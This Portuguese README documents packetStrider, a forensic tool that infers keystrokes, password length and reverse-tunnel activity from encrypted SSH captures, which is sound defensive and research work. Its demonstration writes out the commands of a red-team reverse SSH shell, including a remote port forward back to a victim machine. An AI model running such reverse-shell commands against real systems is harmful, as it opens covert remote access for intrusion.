
Uma ferramenta de forense de pacotes de rede para SSH

packetStrider para SSH é uma ferramenta forense de pacotes que visa fornecer informações valiosas sobre a natureza do tráfego SSH, lançando luz nos cantos do tráfego de rede SSH onde pepitas de ouro de informações antes jaziam no escuro.
SSH é obviamente criptografado, mas informações contextuais valiosas ainda existem dentro do tráfego de rede que podem contribuir para TTPs, intenção, sucesso e magnitude das ações sobre os objetivos. Pode até haver situações onde contexto valioso não está disponível ou foi deletado dos hosts, e portanto ter uma captura de rede passiva imutável e inalterável dá contexto forense adicional. "Pacotes não mentem".
Separadamente ao contexto forense, as previsões do packet strider também poderiam ser usadas de forma ativa, por exemplo para rejeitar/RST conexões diretas se uma característica de iniciação de sessão SSH reversa tunelada for prevista, mesmo antes da autenticação reversa ser oferecida.
Python3 foi usado, e você precisará dos seguintes módulos (YMMV no python2)
pip3 install pandas matplotlib pyshark
Uso:
python3 packetStrider-ssh.py -h
Saída:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
O pcap "forward_reverse.pcap" é de um TTP comum de um shell SSH reverso, um favorito das equipes vermelhas de todos os lugares. Especificamente os seguintes comandos foram usados, para destacar as capacidades do packet strider de forma simples:
Conexão direta da vítima
ssh [email protected] -R 31337:localhost:22 que vincula a porta local 31337 pronta para a conexão SSH reversa de volta ao PC da vítima. Esta conexão pode ser efetuada de várias formas, incluindo manualmente, por um RCE, SSRF, ou alguma forma de persistência. Para os fins desta demonstração, é uma sessão direta padrão manual.ls é digitado na sessão direta, nesta sequência: 'l' 'w' 'w' 'back-space' 'back-space' 's' e então enter. O tamanho total dos dados transmitidos pela rede (como saída do ls) é classificado como infiltração, já que é de entrada.Agora na máquina do atacante (o servidor), um shell reverso é iniciado de volta à vítima:
ssh victim@localhost -p 31337. Neste ponto, que é ainda antes do processo de autenticação começar, o packet strider identificou o início da sessão SSH reversa, no pacote 72last é executado na forma de teclas 'l' 'a' 's' 'r' 'delete' 't' 'enter'who é executado na forma de 'w' 'h' 'o' 'enter'exit é executado na forma de 'e' 'x' 'i' 't'Então, finalmente, com a sessão direta, a sessão é fechada, apenas para demonstrar que a detecção de recurso SSH direto ainda funciona.
exitO tráfego de rede desta atividade é salvo em tcpdump.pcap e agora é hora de executar o Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Este gráfico mostra uma linha do tempo das principais previsões (a imagem foi anotada aqui)

Este gráfico mostra algumas estatísticas de janela, útil para uma análise aprofundada e experimentação com recursos.

Este gráfico mostra um histograma simples

Este projeto foi feito como uma Prova de Conceito pessoal, como uma forma de praticar com algumas bibliotecas de ciência de dados em Python, foi fortemente inspirado pelos meus estudos no Coursera em Machine Learning e Data Science, em particular a biblioteca pandas e a forma como as Redes Neurais Convolucionais (CNN) "avançam" (stride) por conjuntos de pixels de imagem usando janelas deslizantes para detectar certas características dentro delas.
Packet Strider realiza uma vasta quantidade de "avanço" (striding) no modo de capacidade total. Isso pode resultar em um uso substancial de recursos se o pcap for grande, ou mais precisamente se houver muitos pacotes no pcap. Aqui estão algumas dicas para acelerar, que são particularmente úteis como uma execução inicial, por exemplo, apenas para ver se houve atividade SSH reversa prevista, e depois adicionando funcionalidade se desejar.
Use por sua conta e risco. Consulte os termos da Licença.